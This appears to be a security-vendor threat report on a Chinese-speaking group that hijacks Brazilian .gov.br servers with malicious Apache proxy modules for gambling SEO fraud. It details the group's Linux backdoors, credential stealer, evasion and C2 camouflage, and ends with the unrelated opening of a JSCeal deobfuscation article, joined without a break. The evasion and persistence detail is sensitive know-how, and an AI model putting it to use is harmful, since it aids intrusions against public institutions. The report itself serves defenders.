A Chinese-speaking actor is now targeting Brazil. Check Point Research has uncovered a sustained campaign against Brazilian organizations, primarily government and educational institutions since mid-2025. We dubbed this group Gambling Goblin: a Chinese-speaking cybercrime cluster connected to a previously documented group, Earth Berberoka, that targeted gambling sites across Asia. It marks a shift from Brazil’s usual home-grown banking-trojan threats to a foreign operator moving in
Compromised web servers turned into stealthy proxies. The attackers compile and install malicious Apache modules on victim servers that silently reverse-proxy visitors to attacker-controlled phishing pages, while the traffic still appears to originate from the legitimate domain, with the site’s own security headers stripped so injected content runs freely.
Large-scale SEO manipulation. The phishing pages pose as trusted app stores such as Google Play, Microsoft Store, and Amazon. Behind that facade, they push online gambling and sports betting, and they chain together compromised high-reputation domains, many of them Brazilian government sites, to inflate search rankings and hijack traffic at scale.
A broad, heavily obfuscated Linux toolkit. Once inside a host, the group deploys custom tools – downloader (DownPro), multiple backdoors including the modular AlphaAgent and the oRAT RAT, a 3snake-based credential stealer, an SSH brute-forcer, and a plugin-driven reconnaissance agent. Most of them are wrapped in packing and virtualization layers to slow analysis and evade detection.
The operation reaches well beyond Brazil. We identified parallel phishing networks localized in Vietnamese, Spanish, and English, alongside infrastructure that generates fresh domains daily – evidence the model is built to scale and be exported to new regions.
One step from direct malware delivery. Because the pages already mimic app-download destinations, the same infrastructure sits a single configuration change away from pushing malware straight to victims, a latent escalation risk beyond the current search-fraud scheme.
Introduction
Since mid-2025, Check Point Research has tracked a sustained campaign against Brazilian organizations. The tradecraft points to a Chinese-speaking cybercrime group connected to Earth Berberoka, an actor first documented targeting gambling sites across Asia.
Once inside a victim, the group deploys a broad Linux toolkit: a custom downloader, several backdoors, and familiar offensive utilities. Most of it arrives heavily obfuscated – wrapped in layered virtualization and packing to slow analysis and evade detection.
The purpose becomes clear at the network layer. The attackers install custom Apache modules that quietly proxy visitors to a sprawling set of phishing pages. Many of those pages sit on Brazilian government domains that appear to have been compromised and repurposed without their owners’ knowledge.
The reach extends beyond Brazil. We uncovered a second phishing network run by the same actor; this one is built for Vietnamese victims.
The likely goal is SEO manipulation at scale. By hijacking trusted, high-reputation domains, many of them Brazilian government sites, the operators borrow that reputation to push their own content up the search rankings and hijack the traffic that follows. But the same infrastructure could serve a more dangerous end: the phishing pages impersonate app-download destinations such as Google Play, the Microsoft Store, and Amazon, which leaves the operators one step from pushing malware straight to victims.
Infection Flow
Figure 1 – Infection chain
Initial Access
We have not directly observed this group’s initial access, but a revealing artifact surfaced on one of their servers: an exposed open directory hosting an ELF binary written in Go that bundles numerous reconnaissance and scanning plugins. The toolset reads like a complete attack-surface-mapping pipeline for internet-facing targets.
The group refers to this agent as “cluster-asset-mapping”, or “cam-agent” for short. It runs with a handful of flags:
default – long-lived worker session for orchestrated task dispatch
f – foreground mode without logging
flog – enable logging (use with f)
h – show help
v – show version
Figure 2 – Cam-agent help message
The agent carries a configuration that includes:
worker_endpoint
server_id
project
agent_token
embedded PEM certificates and keys for the server and agent
a plugin list
report policies
It logs to payload-run.log under the default directory of /tmp/asset-scan. The agent reads the JSON report policies to decide how to run its scan. The policies are driven by the following fields:
common web ports
batch_size
retry_count
retry_backoff_seconds
level
Figure 3 – Network scan report policy
The agent communicates with its server over gRPC, authenticating with the certificates and keys from its own configuration. It uses many known open-source pentesting tools as modules:
dirprobe – takes URLs and a directory list or profile, sends HTTP requests, and records the status code, response length, and title for each probed path.
httpx – takes URLs, ports, and HTTP options, then collects the status code, response length, title, protocol, TLS details, and banners from each target.
naabu – takes IPs or hostnames, port ranges, and a scan mode, attempts TCP connections across all targets, and marks each port as open, closed, or filtered.
nuclei (v3) – takes URLs, paths, and workflows, executes HTTP/DNS/TCP checks as defined by templates, and emits a structured result for each match (template ID, severity, affected URL, evidence).
subfinder – takes root domains, resolvers, and a depth, then enumerates subdomains via DNS brute force, certificate transparency, and passive sources, returning the discovered subdomains.
whatweb – a Wappalyzer-style fingerprinter that issues HTTP requests to each target and applies rules to identify web servers, frameworks, CMS platforms, JavaScript libraries, and more.
Stealth phishing structure
Apache Modules
The group automates deployment of its malicious Apache module through a Bash installer. The script first confirms it is running as root, then fingerprints the host as either Debian/Ubuntu or CentOS/RedHat and pulls in the matching Apache development packages so the module can be compiled on the victim itself. It downloads the module’s C source, opsproxy.c, from a hardcoded staging server and, notably, patches the source on the fly to insert a missing macro definition so the code compiles cleanly. This is a small touch that shows the operators built the module to run across a range of victim configurations.
Compilation and installation are handled in a single step via Apache’s own apxs tooling, which also wires the module into the server’s configuration. What follows is a deliberate effort to hide the intrusion: the script deletes the source and all build artifacts, then timestomps the resulting .so and its load-configuration files to match legitimate, pre-existing Apache modules such as mod_ssl or mod_suexec, so the malicious files blend in during a casual review. It then enables the stock proxy, headers, and rewrite modules the malicious module depends on, tests the configuration, and restarts Apache to bring everything live.
Throughout, the script’s status messages are written in Chinese and decorated with emoji, a style that may point to AI-assisted development.
Figure 4 – Checking the URL by the Apache module
The source file, opsproxy.c, reveals a purpose-built reverse proxy that quietly grafts attacker-controlled content onto a compromised web server. The module registers itself at Apache’s name-translation stage and inspects every incoming request for one of a small set of hardcoded URL prefixes which in our samples, /wps, /bmw, and /card. When a request matches, the module rewrites it into a reverse-proxy request to a corresponding upstream server hardcoded into the source, silently relaying the visitor to attacker infrastructure while the request still appears, to the outside world, to come from the legitimate compromised domain.
To make that relayed content render without interference, the module strips the upstream site’s Content-Security-Policy headers. It replaces them with a deliberately permissive policy that allows inline and dynamically evaluated scripts, third-party assets, and data: and blob: sources. This removes the restrictions a browser’s CSP normally enforces, allowing injected or externally hosted scripts to execute freely.
Figure 5 – CSP stripping so injected scripts can run
The module also forwards the original Host header and adds standard proxy headers so the upstream sees a convincing request. The effect is a compromised, reputable server acting as a stealthy front door: certain paths transparently serve attacker content, and the browser protections that would ordinarily block foreign scripts are switched off for exactly those paths.
Figure 6 – How the compromised .gov site relays attacker content to visitors
A second ELF Apache module used by the group disguises itself as a basic filter module while registering request and response hooks that examine visitor headers, URI paths, referrers, and client IPs. It carries a static configuration, decrypts it with RC4, and parses it into two rule types:
rule1 – an array of matching rules (path, referrer, or User-Agent, paired with a proxy URL)
rule3 – an optional response-filtering or injection configuration
Figure 7 – JSON struct example
Using a compiled-in regex for <body.*?> to locate its injection point, the module expands placeholders such as {host}, {hip}, {url}, and {name}, fetches remote content with libcurl, and writes that content into Apache responses via ap_rwrite and bucket manipulation. This gives a remote service control over what selected visitors and crawlers see on the compromised server. This is a behavior consistent with SEO cloaking and content-injection malware.
Brazilian infrastructure
Fetching the content served from the three upstream IP addresses hard-coded in the proxy module reveals the phishing infrastructure itself. Each address hosts a page impersonating a trusted app-distribution platform, localized in Brazilian Portuguese (lang="pt-BR") and dressed up with fabricated ratings, review counts, and structured schema.org metadata to appear legitimate to both users and search-engine crawlers.
Figure 8 – Several phishing pages shown by the Apache module.
All those IPs lean heavily on Bing’s thumbnail service (tse-mm.bing.com) to source imagery, tag their Open Graph and Twitter cards with @GooglePlay and @microsoftstore handles, and consistently theme around online gambling and sports betting aimed at a Brazilian audience – the actual monetization behind the campaign’s search-manipulation scheme. Tellingly, the pages carry Chinese-language CSS comments (for example a comment translating to “bottom navigation bar — fixed to the bottom on mobile, hidden on desktop”), the same operator fingerprint seen across the group’s server-side tooling.
Inspecting the domain used by the second Apache module brought us to a domain called playfootball[.]info that has a phishing page similar to the earlier ones. Unlike the earlier upstream samples that pulled assets from Bing thumbnails and a fake CDN, this one loads Google’s real production assets – the actual gstatic.com Play Store CSS bundle, Material Icons fonts, and the genuine Google Play logo SVG.
Figure 9 – The phishing page used by the second Apache module
The most revealing finding from this page is that the app tiles and nav links don’t point to a single server; they point to dozens of real Brazilian domains, the majority of them legitimate .gov.br government sites, each serving the attacker’s gambling pages under paths like /jogos and /nova. The compromised institutions span every level of Brazilian government. At the federal level, they include a government ministry and a national public agency. At the state level, victims include a state legislative assembly, state courts of accounts, and a state-owned utility. The largest share, however, is local government: municipal administrations spread across numerous cities and multiple states. A smaller set of commercial .com.br sites such as local news outlets, health clinics, and business associations rounds out the victims.
Beyond Brazil
As we pivoted through the phishing infrastructure, the trail led well beyond Brazil. Several of the IP addresses hosted subdomain and domain generators, giving the operators a fresh supply of domains every day – a rotation scheme built to outpace blocklists and takedowns.
Figure 10 – Domain generator used by the group
Some of the generated domains pointed to adult-content and gambling sites aimed at a Chinese-speaking audience, tying the infrastructure back to the operators’ origin and their long-running focus on the gambling sector.
Figure 11 – A gambling site in Chinese from the domain generator list
More telling, we found phishing pages built on the same template as the Brazilian ones, but localized in Vietnamese, Spanish, and English. The Brazilian operation is not a one-off: the same playbook is being adapted for other regions, and the infrastructure is clearly built to scale.
Figure 12 – Phishing pages in Vietnamese and English
The Attacker’s Arsenal
Across these intrusions, the group draws on two kinds of tooling: well-known offensive utilities that any attacker might reach for, such as netcat, fscan, and pwnkit, and a broad set of custom tools written by the operators themselves: a downloader, several backdoors, a credential stealer, and purpose-built reconnaissance scripts. The sections below focus on that custom toolkit, which is where the group’s tradecraft shows.
DownPro
A downloader written in Go, referred to internally as DownPro. Its job is to pull the rest of the toolkit onto a freshly compromised host and launch it.
The binary is driven by a handful of flags, and a telling detail stands out immediately: their help strings are written in both English and Chinese. The flags are:
u – URL of the main backdoor to download
id – URL of the ChUser payload
up – URL of the unix_updates payload (the PasswordHarvester)
j – offline URL encryptor mode: it takes a plaintext URL via u and outputs the ciphertext to use as the flag value in real runs
logs – where to write logs
The values passed to these flags are AES-GCM encrypted with a hardcoded key and Base64-encoded, so the operator supplies pre-encrypted URLs at runtime rather than leaving them in the clear.
DownPro then decides where to drop its payload based on its effective UID, preparing two sets of candidate destination paths: one for root, one for non-root. Running as root, it selects one of:
/usr/local/bin/systemd-udevd
/usr/local/bin/rsync-tsl
/usr/local/bin/tcp-tsl
/usr/local/bin/snapd-ext
/usr/local/bin/fsck-disk
/usr/local/bin/nftables-init
These names are chosen to blend into a Linux server environment, either mimicking legitimate system components or looking like ordinary utility and network helpers. Running without root, it instead generates one of two temp-style names designed to pass as routine disk clutter:
/tmp/php_sess_<32_hex_chars> – mimicking a PHP session file
/tmp/private-tmp-<5_alnum_chars> – looking like an ephemeral temp artifact
With the destination chosen, it downloads the file from the -u URL and executes it with the argument -si.
Figure 13 – DownPro main logic
The two optional payloads are handled separately. When the -id flag is set, DownPro downloads a file to /usr/bin/chuser, sets its permissions to 0755, changes its owner to root, and timestomps it to match /bin/ls and turning it into a setuid helper that serves as a persistent local privilege-escalation backdoor. When the -up flag is set, it downloads a file to /usr/sbin/unix_updates and runs it with -v FuckMe#988, then strips the setuid bit from /usr/bin/pkexec.
ChUser
A simple backdoor that masquerades as a chuser utility. It executes commands passed through the -c flag, but only after passing one of two activation checks:
Remote HTTP activation – the backdoor builds a curl command using the -x <version> flag and runs it. Activation succeeds only if the command’s output matches the expected value, chuser no version.
Local MD5-based activation – the backdoor concatenates a user-supplied secret (from the -s <secret> flag) with a hardcoded salt, FuCkMe#, computes the MD5 of secret + salt, and compares it against a hardcoded target hash. Activation succeeds only on a match.
PasswordHarvester
A credential stealer based on 3snake that monitors newly executed authentication programs, including sshd, sudo, su, doas, ssh, ssh-add, passwd, kinit, and login.
On startup, it sets a clean PATH environment variable and installs signal handlers so the daemon can log and exit cleanly. It runs only as root, exiting otherwise, and gates execution behind a covert activation switch: the CRC32 of the -v argument must match a hardcoded value.
Figure 14: CRC32 gate
Once the CRC gate passes, the stealer resolves the host’s name and IPv4 addresses, then daemonizes by forking, calling umask(0) so it can freely control file permissions, changing its working directory to /tmp, and redirecting stdout and stderr to a file.
To hide itself, it picks at random from roughly 29 fake process names, such as:
[kworker/1:2]
[ksoftirqd/0]
[watchdog/0]
[systemd]
[dbus-daemon]
[journald]
[migration/0]
[ksmd]
It overwrites the original argv with the chosen name and calls prctl to change the kernel-visible task name to match.
The core logic then opens a netlink socket and subscribes to process events (PROC_CN_MCAST_LISTEN). On every process execution or UID change event, it checks whether the process name or command line matches one of the target programs listed above. When a match falls outside the expected path prefixes, it enters the interceptor flow: it attaches to the target with ptrace, reads the credential buffers, and exfiltrates them to its C2, RC4-encrypted and Base64-encoded.
AlphaAgent
A modular backdoor written in Go, built to land quietly, blend into a busy host, take orders over an encrypted channel, and hand its operator everything they need to work through a network.
On launch, AlphaAgent first checks whether it was invoked to finish an upgrade, so an in-progress self-update can complete cleanly. It then parses its command-line flags, validates its configured role and transport, and generates a Device ID from either the victim’s MAC address or the username combined with a hardcoded salt (e*f#1%0d$6&5=6). After checking its debug flags (DEBUG, VERBOSE, or neither), it decrypts its configuration strings using AES-GCM with a hardcoded key.
[Figure 19 – Device ID generation](Gaming the system how a Chinese-speaking actor tur/image_(4)
The configuration holds the region blocklist, the transport role and mode, the C2 domain, the TLS SNI camouflage value used for the certificates, and the directory, filename, and loader names for the rootkit.
With its configuration in hand, the agent goes to ground. It renames its own process to pass as a kernel thread or a system daemon, choosing the disguise from its configuration profile and applying it by rewriting argv[0] or calling prctl. The profiles are:
aws → /usr/sbin/amazon-master or /usr/local/sbin/amazon-proxy
google → /usr/bin/google_user_agent or /usr/bin/google_proxy_agent
aliyun → rsyslogd
general → one of a set of kernel-thread-style names:
When not running as root, it falls back to php-fpm: pool www or nginx: worker process.
AlphaAgent then detaches into the background and writes a PID lock file under an innocuous path so that only one copy runs. It sleeps for a randomized interval which is long enough to outlast a quick sandbox detonation, and checks where it is running: if the host’s country matches the operators’ blocklist (China, in the samples we analyzed), the agent simply exits. Only after clearing that geofence does it enter its connect-and-retry loop and reach out to the server.
Finally, if the -r flag is set at execution, AlphaAgent checks whether the rootkit’s kernel module is already loaded. If it is not, the agent installs it; the rootkit ships embedded inside the binary via Go’s embed.FS API. In all the samples we analyzed, we haven’t found any rootkits, only placeholders.
Once connected, the agent enrolls, starts a heartbeat, and subscribes for jobs. How it talks to its server is a build-time choice, and each option is designed to look like something benign.
The primary channel is gRPC over HTTPS. The agent’s gRPC transport is built as a publish/subscribe service. The agent subscribes to receive jobs and publishes results back, and on top of that base, it opens dedicated streams for each interactive function rather than multiplexing everything through one pipe. There are separate streams for the web terminal, for uploads, for downloads, and for keepalive pings, and each exists in two directions an operator-facing set and an agent-facing set. That separation keeps a live terminal session responsive while a large file transfer runs in parallel.
Three design choices make this channel hard to spot on the wire:
uTLS fingerprint mimicry. The agent uses a library that forges the TLS handshake of a real browser, so fingerprint-based detection (JA3/JA4-style) sees a normal Chrome-like client, not a Go program.
Google and Cloudflare camouflage. It presents api.google.com as its server name, serves a .google.com certificate, and dresses its HTTPS heartbeats as Google traffic with decoy cookies (NID, SID, and similar) plus a custom proof scheme carried in Cloudflare-style parameters (_cf_auth_ts, _cf_auth_nonce, _cf_auth_method). The heartbeat side exposes handler paths like /agent/heartbeat and /notifications/v1/push to complete the illusion of a Google notification service.
Encryption beneath the encryption. Job and result messages are themselves AES-GCM encrypted before they travel inside the TLS session. Even an analyst who terminates the TLS still faces an encrypted payload.
The Message fields of the communication:
Message Message
field 1: string cid (label=optional) - connection ID
field 2: string mid (label=optional) - Message ID
field 3: int32 command (label=optional) - specific command to run
field 4: bytes data (label=optional) - data for command
field 5: string topic (label=optional) - channel name
field 6: bytes encrypted_data (label=optional) - encrypted payload
field 7: string sid (label=optional) - stream ID
field 8: string file_name (label=optional) - if there is a file
field 9: string file_action (label=optional) - can be upload / download / delete / list
The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through, which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.
The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.
Whichever channel it uses, the agent bootstraps through public DoH and GeoIP providers such as Cloudflare, Google, ipinfo, and others, both to resolve its server and to run the geofence check described above.
At the center of the agent is a single job dispatcher. The server sends a numbered command; the dispatcher routes it to the matching handler. That design keeps the protocol compact and makes the feature set easy to summarize. The sections below cover the ones that matter most.
Remote shell and interactive terminal – The workhorse is remote command execution. A shell job is joined into a single string and run through /bin/sh -c, and the combined output is captured and returned to the operator. The agent takes care to keep this quiet. It sets HISTFILE=/dev/null so commands leave no shell history behind. For interactive work, the agent goes beyond one-shot commands. It can allocate a real pseudo-terminal, launch a shell inside it, and stream that terminal to the operator as a browser-based “webtty” session. This gives an attacker a live, interactive shell with full terminal behavior, not just fire-and-forget commands, which is what you want for hands-on-keyboard operations.
File Operations – File handling is complete in both directions. The agent can download files to the host and upload files from it, with both direct and streamed transfer paths for larger data transfers. Alongside transfer, a file browser lets the operator list directories and walk the filesystem interactively before deciding what to take. Together, these turn the backdoor into a remote file manager for the compromised host.
Tunneling and pivoting – This is where the agent shows its intent to move laterally. It bundles a SOCKS5 proxy, a yamux-based multiplexer, and a Ligolo-style relay, turning the compromised host into a pivot point for the operators’ traffic. A dedicated relay mode lets the agent listen for inbound connections and forward them, so one foothold can open a path into the rest of an internal network. In the tunneling paths, certificate verification is deliberately turned off to keep the relay flexible.
Relay Tunneling – AlphaAgent can also be deployed not as an implant but as a relay node. The agent validates a configured role at startup, and, in its tunnel-edge role, starts a listener and forwards traffic upstream to the command-and-control server on a different port, preserving the same gRPC streams. It uses its own embedded node token to identify itself in this mode. In other words, the operators can seed both endpoints – victims that call home and relay nodes that concentrate and forward that traffic – from one codebase. One build even carries a tag pointing to a specific tunnel geography ([dns-hktun / Hong Kong]), suggesting the relay tier is planned around location.
Discovery and collection – The reconnaissance is aimed squarely at spreading. Beyond a standard host and network inventory: hostname, users, running services, active network connections, interface addresses, and virtualization hints, the agent reads login history from wtmp, utmp, and the system authentication logs, and enumerates current SSH sessions. It can then archive a victim’s .ssh directory and .bash_history into a compressed bundle for exfiltration. Read who logged in, grab their keys and history, and use the tunnel to reach the next host: the collection features are built to feed lateral movement, not just to profile a single machine. Worth flagging: the host inventory the agent sends home includes a virtualization role field, meaning the agent reports back whether it believes it is running inside a virtual machine or sandbox. That gives the operators a chance to abandon or lie low on analysis systems before doing anything noisy.
AI Plugin – The newest build we found, introduces something the earlier versions do not have: an AI plugin execution path. The evidence is currently limited to internal strings. The agent logs executing AI plugins when it runs one and recovers from failures through an AI plugin panic handler, so we can confirm the capability exists and is guarded like a first-class feature, but the sample does not reveal what the plugin is or does. In the code AlphaAgent gets scripts probably written by an AI orchestrator on the server side named “ai_plugin_%s.sh”, runs them and sends the result to the C2.
Evasions – The agent invests heavily in remaining unseen. It renames its process to impersonate legitimate kernel threads and services entries like [kworker/...], [kswapd...], nginx: worker process, or rsyslogd and overwrites its own command-line arguments so tools that read them see the disguise too. It suppresses its own output to /dev/null and detaches as a daemon. Some builds go further and hide the process outright. On command, the agent can bind-mount over its own /proc entry, making itself invisible to anything that reads the process table – a lightweight but effective trick that needs no kernel module. Other builds do carry a kernel-module component, controlled through custom device commands, that hides processes and network connections at the kernel level and can stage an additional loader fetched from the operator. The encrypted configuration and the traffic camouflage described earlier round out an evasion posture that spans disk, process table, and network. One variant is packaged to defeat analysis itself. It is wrapped in a protector that strips the file’s structure, unpacks the real payload only in memory, obfuscates its internals, and watches for a debugger, popping a decoy error and exiting the moment it detects one. Same feature set underneath, hardened against the analyst.
oRAT is a Go-based Linux remote access trojan built for full remote administration of a compromised host.
It starts with decrypting the configuration baked into the binary that contains: the C2 address, the install paths, the process disguise, and the hiding flags all live inside one encrypted blob and are only unpacked in memory.
Unless told to skip it, the agent then runs its preparation routine, and this is where most of the damage is done before any traffic leaves the box. It configures logging to /dev/null by default, daemonizes, disables SELinux enforcement (setenforce 0), installs itself to a persistent location, registers a service, writes a GUID, takes a file lock so only one copy runs, deletes its original on-disk copy if it was relocated, and optionally hides its own process. Only after all of that does it enter its main loop of communication.
The agent’s communication routine supports three transports, selected by config:
tcp – a raw TCP connection
stcp – TLS over TCP
sudp – QUIC over UDP, using the quic-go library
On top of whichever transport it picks, oRAT layers a multiplexed session and speaks HTTP through it. It uses a standard Go HTTP client, but rewrites the client’s dialer so every request is carried inside the established oRAT session instead of hitting the network directly. The agent registers with the server by posting a join request to /join, then serves operator commands as REST-style routes over that same tunnel.
Because oRAT exposes its capabilities as HTTP routes, its feature set reads almost like API documentation. The operator API includes:
Route
Capability
/agent/info
Report host details (distribution, kernel, and more)
/agent/ping
Liveness check
/agent/exec
Run an operator-supplied command
/agent/upload
Write an uploaded file to a chosen path
/agent/download
Retrieve a file from the host
/agent/screenshot
Capture and return a screen image
/agent/zip · /agent/unzip
Archive or extract chosen paths
/agent/portscan
Scan hosts and ports from the victim
/agent/proxy
Open a SOCKS proxy through the host
/agent/net
Forward a raw TCP connection to any target
/agent/ssh
Reach an embedded SSH / SFTP server
/agent/upgrade
Replace the running binary
/agent/kill-self
Delete the agent and exit
oRAT offers two paths to run commands, and the second is the more interesting.
The direct path is a command route that hands operator input to sh -c and returns the output, standard RAT behavior.
The richer path is a fully embedded SSH server. oRAT builds its own SSH service into the agent, complete with a hardcoded RSA host key, password authentication, port-forwarding, and an SFTP handler. When an operator connects, the agent spawns an interactive shell: trying zsh, then bash, then sh with proper pseudo-terminal handling. In practice, the operator gets a real SSH session and SFTP file access on the target, tunneled through the C2 channel rather than exposed on a listening port.
oRAT’s persistence is quiet and well chosen. It installs itself to /usr/local/bin/xtables-addons and registers a systemd service named xtables-addons, wired into the standard multi-user target so it starts on boot as root. xtables-addons is a real netfilter/iptables extension package, so an administrator glancing at the process list or the service table sees what looks like legitimate firewall tooling. If the agent lacks the privileges for a system-wide install, it falls back to per-user persistence through a user service and a cron entry.
It also hides its identity in an unexpected place. The agent stores its GUID by appending a # GUID: <uuid> comment line to /etc/protocols, a legitimate system file no one thinks to check. Its lock file sits at /tmp/.lock.
The evasion posture is layered and Linux-native:
Process masquerade. The agent sets its process name to sshd: root@pts/0, so it reads in the process table as an interactive root SSH session. One build reinforces this by spoofing its executable path as /usr/sbin/sshd.
Procfs hiding. When its mount mode is enabled, the agent bind-mounts over its own /proc/<pid> entry, disrupting inspection of the running process through the proc filesystem.
Silent by default. Logging goes to /dev/null unless a specific debug environment variable is set.
Together, these span the process table, the filesystem, the security policy, and the kernel’s view of the process, a broad effort to make the agent hard to notice and harder to inspect.
BruteForcer
An SSH credential-checking and brute-force utility. It reads target IP addresses (-f flag), usernames (-u flag), passwords (-p flag), or pre-combined user:pass pairs (-up flag) from operator-supplied files, then attempts concurrent SSH logins against each target.
Successful credentials are printed and appended in plaintext to a local results file, res.txt. The binary has no hardcoded C2 infrastructure or persistence mechanism and its sole purpose is credential access against remote SSH services.
Recon Scripts
In some of the attacks we observed a number of Bash scripts with Chinese-language comments used by the attackers.
The first, info.sh, proceeds in four stages. It first pulls recent login activity to profile who uses the box. It then walks every user’s home directory, including root’s, to inventory .ssh folders, flag any files containing private keys, and comb .bash_history for sensitive commands involving SSH, SCP, database clients, cloud tooling, credentials, and kubectl, a fast way to harvest reusable secrets and understand the victim’s workflows. The third stage is the most refined: a storage analysis that hunts for remote network mounts (NFS, CIFS/Samba, WebDAV, cloud FUSE) and Docker volumes while deliberately filtering out overlay, tmpfs, and container-ID noise, so the operator sees only genuine lateral-movement targets rather than local container clutter – a sign the author iterated on the tool to cut false positives. Finally, it gathers classic lateral-movement intelligence: /etc/hosts entries, local listening TCP ports, and the ARP neighbor table to reveal adjacent hosts on the network.
Figure 15 – Third stage of info.sh
The second script, findweb.sh, surveys a compromised host’s web-server landscape and maps out every site it serves. It first detects which web servers are running (Nginx, Apache, or httpd) using several fallback methods, and extends the check to containerized deployments by inspecting Docker for web-server images and any containers publishing ports 80 or 443 to the host. Where possible, it reports the ports each server listens on. It then parses the server configurations directly: for Nginx it walks the common configuration directories, resolving symbolic links and de-duplicating by real path, then extracts each virtual host’s domain (server_name), web root, and any proxy_pass upstreams; for Apache and httpd it does the equivalent, pulling DocumentRoot, ServerName, and ServerAlias from every VirtualHost block across the standard Debian, RedHat, and common control-panel configuration paths.
The result is a concise inventory of every domain hosted on the machine, where each site’s files live on disk, and where any existing reverse-proxy rules already point. In the context of this campaign, that inventory is exactly what an operator needs to weaponize a compromised server: it reveals which trusted domains are available to abuse, the exact web roots to plant content in, and where to graft the malicious proxy module so that attacker pages are served under a legitimate site’s name.
Attribution and links to prior work
We assess with medium-to-high confidence that Gambling Goblin is tied to Earth Berberoka – a Chinese-speaking threat cluster first documented by Trend Micro in 2022. Earth Berberoka is known for targeting online gambling platforms that serve Chinese-speaking users and operators, and for working across Windows, Linux, and macOS with a mix of aged commodity RATs and purpose-built tooling. Our assessment rests on three independent overlaps: the malware, the operator artifacts, and the network infrastructure.
Tooling. The group’s use of oRAT is the clearest link. oRAT was tied to Earth Berberoka in 2022, and the variant we analyzed shares the same orat/cmd/agent codebase and REST-style operator routes. The connection extends to the group’s custom malware: one of the AlphaAgent samples we recovered was uploaded in the same archive as other tools previously attributed to Earth Berberoka, placing AlphaAgent directly alongside the group’s known toolset rather than merely resembling it.
Operator artifacts. The focus on the online gambling sector and the Chinese-language strings scattered across this campaign’s tooling (dual-language flag descriptions, Chinese script comments, and Chinese-language page artifacts) align with operator fingerprints seen in the group’s past campaigns.
Infrastructure. The group has a documented habit of registering domains that impersonate trusted platforms. Trend Micro reported github[.]wiki as an Earth Berberoka domain while the infrastructure behind Gambling Goblin follows the same playbook: lookalike domains such as github[.]la and gitlab[.]bet closely mirror that tradecraft. Reinforcing the link, many of the C2 servers in this campaign are hosted on the same Amazon ASN (AS16509) the group has relied on before.
Conclusion
This campaign marks a shift in who targets Brazil, and why. For years, the threats facing Brazilian users came mostly from home grown banking trojan crews. Brazil is a natural target for this kind of operator. It has become one of the world’s fastest-growing online-betting markets, with a vast base of mobile users accustomed to installing apps on the spot, which is exactly the audience a gambling-driven fraud operation wants to reach. For a Chinese-speaking group that has spent a decade monetizing the gambling sector, the money now runs through Brazil, and the infrastructure to exploit it is often trusted but under-secured. A vast base of mobile users conditioned to install apps on sight, and a sprawl of trusted but under-secured web servers, most of them on government .gov.br domains whose search reputation is exactly what a large-scale SEO-fraud operation needs. Compromise those servers, graft on a malicious Apache module, and the attacker turns a nation’s legitimate infrastructure into a distribution network for gambling pages and fake app stores. That is the notable part: this is not opportunistic crime but patient, industrialized abuse of reputation, and it is run with espionage-grade Linux tooling in the service of financially motivated fraud, blurring the line between cybercrime and APT.
We expect the operation to grow rather than fade. The same infrastructure that inflates search rankings today is one configuration change away from serving malware tomorrow: the phishing pages already impersonate Google Play, the Microsoft Store, and Amazon, putting the operators a single step from pushing malicious apps straight to Brazilian victims. The Vietnamese, Spanish, and English pages we uncovered show the model is being exported, and the daily domain generators show it is built to scale. Countries should expect more of this, aimed higher, not only at customers and banking credentials, but at the government institutions whose domains lend the campaign its trust. None of it depends on novel exploits. It runs on unpatched internet-facing services, weak SSH credentials, and Apache modules that no one thinks to watch. If organizations, and public-sector operators in particular, do not close those gaps – patching exposed services, auditing Apache and SSH configurations, and hunting for rogue modules and masqueraded processes, then this actor and the wider wave of global cybercrime it represents, will keep finding an open door.
Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files).
The payloads are protected with javascript-obfuscator, using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers.
Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution.
CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate.
The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy.
We presented this research at Black Hat USA 2026. This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details.
We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting.
Introduction
JSCeal is a stealer delivered as compiled V8 bytecode (.jsc) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [1]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [1] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload.
Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows.
From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as javascript-obfuscator [6] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact.
In 2024, our colleague Moshe Marelus published View8, an open-source decompiler for V8 bytecode [2]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [3] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup.
The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow.
